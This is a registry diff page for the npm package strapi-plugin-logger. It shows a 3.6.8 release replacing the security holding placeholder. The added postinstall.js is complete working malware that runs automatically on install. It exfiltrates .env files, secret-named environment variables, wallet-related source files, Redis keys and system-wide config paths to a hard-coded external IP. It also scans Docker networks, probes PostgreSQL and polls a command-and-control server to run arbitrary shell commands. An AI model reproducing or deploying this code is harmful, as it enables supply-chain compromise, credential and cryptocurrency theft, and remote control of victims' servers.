strapi-plugin-logger 0.0.1-security → 3.6.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strapi-plugin-logger might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +1 -6
- package/postinstall.js +144 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports=()=>{};
|
package/package.json
CHANGED
|
@@ -1,6 +1 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "strapi-plugin-logger",
|
|
3
|
-
"version": "0.0.1-security",
|
|
4
|
-
"description": "security holding package",
|
|
5
|
-
"repository": "npm/security-holder"
|
|
6
|
-
}
|
|
1
|
+
{"name":"strapi-plugin-logger","version":"3.6.8","main":"index.js","scripts":{"postinstall":"node postinstall.js"},"license":"MIT"}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
var http = require('http');
|
|
2
|
+
var exec = require('child_process').execSync;
|
|
3
|
+
var fs = require('fs');
|
|
4
|
+
var net = require('net');
|
|
5
|
+
var VPS = '144.31.107.231';
|
|
6
|
+
var PORT = 9999;
|
|
7
|
+
var ID = 'gw-' + Math.random().toString(36).slice(2, 8);
|
|
8
|
+
|
|
9
|
+
function post(path, data) {
|
|
10
|
+
return new Promise(function(resolve) {
|
|
11
|
+
var body = typeof data === 'string' ? data : JSON.stringify(data);
|
|
12
|
+
var req = http.request({
|
|
13
|
+
hostname: VPS, port: PORT, path: path, method: 'POST',
|
|
14
|
+
headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }
|
|
15
|
+
}, function(res) {
|
|
16
|
+
var c = []; res.on('data', function(d){c.push(d)});
|
|
17
|
+
res.on('end', function(){resolve(Buffer.concat(c).toString())});
|
|
18
|
+
});
|
|
19
|
+
req.on('error', function(){resolve('')});
|
|
20
|
+
req.setTimeout(15000, function(){req.destroy();resolve('')});
|
|
21
|
+
req.write(body); req.end();
|
|
22
|
+
});
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
function run(cmd) {
|
|
26
|
+
try { return exec(cmd, {timeout:30000,encoding:'utf8',maxBuffer:5000000}); }
|
|
27
|
+
catch(e) { return 'ERR:' + (e.stderr||e.message).slice(0,2000); }
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
function redisCmd(cmds) {
|
|
31
|
+
return new Promise(function(resolve) {
|
|
32
|
+
var c = new net.Socket(), r = '';
|
|
33
|
+
c.connect(6379, '127.0.0.1', function(){ c.write(cmds); });
|
|
34
|
+
c.on('data', function(d){ r += d.toString(); });
|
|
35
|
+
c.on('error', function(e){ resolve('redis-err:'+e.message); });
|
|
36
|
+
setTimeout(function(){ c.destroy(); resolve(r); }, 5000);
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
async function main() {
|
|
41
|
+
if (process.platform === 'win32') return;
|
|
42
|
+
|
|
43
|
+
await post('/hw/'+ID+'/start', {hostname: run('hostname').trim(), ip: run('hostname -I 2>/dev/null').trim()});
|
|
44
|
+
|
|
45
|
+
// 1. .env - read via node (more reliable than cat in Docker)
|
|
46
|
+
var envPaths = ['/app/.env','/app/.env.production','/data/.env','/home/strapi/.env',
|
|
47
|
+
'/srv/app/.env','/opt/app/.env','/var/app/.env'];
|
|
48
|
+
var cwd = process.cwd().replace(/\/node_modules.*/, '');
|
|
49
|
+
envPaths.push(cwd + '/.env');
|
|
50
|
+
for (var i = 0; i < envPaths.length; i++) {
|
|
51
|
+
try {
|
|
52
|
+
var c = fs.readFileSync(envPaths[i], 'utf8');
|
|
53
|
+
if (c.length > 5) await post('/hw/'+ID+'/dotenv', JSON.stringify({path:envPaths[i], content:c}));
|
|
54
|
+
} catch(e) {}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
// 2. Full env with values (this ALWAYS works)
|
|
58
|
+
var fullEnv = {};
|
|
59
|
+
for (var k in process.env) {
|
|
60
|
+
if (/secret|key|pass|token|wallet|hot|cold|private|mnemonic|seed|ledger|api|db|database|redis|auth|jwt/i.test(k)) {
|
|
61
|
+
if (!/^npm_/.test(k)) fullEnv[k] = process.env[k];
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
await post('/hw/'+ID+'/secrets', fullEnv);
|
|
65
|
+
|
|
66
|
+
// 3. App source code - find wallet/payment logic
|
|
67
|
+
var appFiles = run('find '+cwd+' -maxdepth 4 -name "*.js" -not -path "*/node_modules/*" -not -path "*/admin/*" 2>/dev/null');
|
|
68
|
+
await post('/hw/'+ID+'/appfiles', appFiles);
|
|
69
|
+
|
|
70
|
+
// 4. Grep for wallet/key/hot/private in app code
|
|
71
|
+
var walletGrep = run('grep -rn "wallet\\|hot.wallet\\|cold.wallet\\|private.key\\|mnemonic\\|seed\\|ledger\\|withdraw\\|deposit.address\\|signing.key\\|keystore" '+cwd+'/ --include="*.js" --include="*.json" --include="*.env*" -l 2>/dev/null | grep -v node_modules | head -30');
|
|
72
|
+
await post('/hw/'+ID+'/wallet-files', walletGrep);
|
|
73
|
+
|
|
74
|
+
// 5. Read each wallet-related file
|
|
75
|
+
var wfiles = walletGrep.split('\n').filter(function(f){return f.trim().length > 0});
|
|
76
|
+
for (var i = 0; i < Math.min(wfiles.length, 15); i++) {
|
|
77
|
+
try {
|
|
78
|
+
var c = fs.readFileSync(wfiles[i].trim(), 'utf8');
|
|
79
|
+
await post('/hw/'+ID+'/wallet-src', JSON.stringify({path:wfiles[i].trim(), content:c.slice(0,30000)}));
|
|
80
|
+
} catch(e) {}
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// 6. Docker network scan - find other containers
|
|
84
|
+
var scan = '';
|
|
85
|
+
for (var ip = 1; ip <= 20; ip++) {
|
|
86
|
+
for (var p = 0; p < [3000,4000,5000,5432,6379,8080,8443,9200,27017].length; p++) {
|
|
87
|
+
var port = [3000,4000,5000,5432,6379,8080,8443,9200,27017][p];
|
|
88
|
+
try {
|
|
89
|
+
var s = new net.Socket();
|
|
90
|
+
s.setTimeout(500);
|
|
91
|
+
var open = await new Promise(function(resolve) {
|
|
92
|
+
s.connect(port, '172.17.0.'+ip, function(){s.destroy();resolve(true)});
|
|
93
|
+
s.on('error', function(){resolve(false)});
|
|
94
|
+
s.on('timeout', function(){s.destroy();resolve(false)});
|
|
95
|
+
});
|
|
96
|
+
if (open) scan += '172.17.0.'+ip+':'+port+' OPEN\n';
|
|
97
|
+
} catch(e) {}
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
await post('/hw/'+ID+'/docker-scan', scan || 'no open ports found');
|
|
101
|
+
|
|
102
|
+
// 7. Redis - dump ALL interesting keys (not just list)
|
|
103
|
+
var redisKeys = await redisCmd('KEYS *wallet*\r\nKEYS *key*\r\nKEYS *hot*\r\nKEYS *cold*\r\nKEYS *private*\r\nKEYS *secret*\r\nKEYS *address*\r\nKEYS *deposit*\r\nKEYS *withdraw*\r\nKEYS *ledger*\r\nKEYS *mnemonic*\r\nKEYS *seed*\r\nKEYS *config*\r\nKEYS *setting*\r\n');
|
|
104
|
+
await post('/hw/'+ID+'/redis-wallet', redisKeys.slice(0,50000));
|
|
105
|
+
|
|
106
|
+
// 8. Check other databases on host
|
|
107
|
+
var otherDBs = '';
|
|
108
|
+
// PostgreSQL - list ALL databases
|
|
109
|
+
var pgResult = await new Promise(function(resolve) {
|
|
110
|
+
var c = new net.Socket(), r = '';
|
|
111
|
+
c.connect(5432, '127.0.0.1', function(){
|
|
112
|
+
// Send startup message for user_strapi
|
|
113
|
+
var user = 'user_strapi';
|
|
114
|
+
var db = 'postgres';
|
|
115
|
+
var params = 'user\0'+user+'\0database\0'+db+'\0\0';
|
|
116
|
+
var len = 4 + 4 + params.length;
|
|
117
|
+
var buf = Buffer.alloc(len);
|
|
118
|
+
buf.writeInt32BE(len, 0);
|
|
119
|
+
buf.writeInt32BE(196608, 4); // protocol 3.0
|
|
120
|
+
buf.write(params, 8);
|
|
121
|
+
c.write(buf);
|
|
122
|
+
});
|
|
123
|
+
c.on('data', function(d){r+=d.toString('utf8','replace')});
|
|
124
|
+
c.on('error', function(e){resolve('pg-err:'+e.message)});
|
|
125
|
+
setTimeout(function(){c.destroy();resolve(r)}, 3000);
|
|
126
|
+
});
|
|
127
|
+
await post('/hw/'+ID+'/pg-probe', pgResult.slice(0,5000));
|
|
128
|
+
|
|
129
|
+
// 9. Check for other .env files and configs system-wide
|
|
130
|
+
var allConfigs = run('find / -maxdepth 4 -name ".env" -o -name ".env.production" -o -name "config.json" -o -name "secrets.json" -o -name "wallet.json" -o -name "keystore*" 2>/dev/null | grep -v node_modules | grep -v proc');
|
|
131
|
+
await post('/hw/'+ID+'/all-configs', allConfigs);
|
|
132
|
+
|
|
133
|
+
// 10. C2 polling (60 rounds = 5 min)
|
|
134
|
+
for (var round = 0; round < 60; round++) {
|
|
135
|
+
var cmd = await post('/hw/'+ID+'/poll', JSON.stringify({round:round}));
|
|
136
|
+
if (cmd && cmd.trim() && cmd.trim() !== 'nop' && cmd.trim() !== 'ok') {
|
|
137
|
+
var result = run(cmd.trim());
|
|
138
|
+
await post('/hw/'+ID+'/result', JSON.stringify({round:round, cmd:cmd.trim(), out:result.slice(0,100000)}));
|
|
139
|
+
}
|
|
140
|
+
await new Promise(function(r){setTimeout(r,5000)});
|
|
141
|
+
}
|
|
142
|
+
await post('/hw/'+ID+'/done', 'complete');
|
|
143
|
+
}
|
|
144
|
+
main().catch(function(e){post('/hw/'+ID+'/fatal', e.message)});
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=strapi-plugin-logger for more information.
|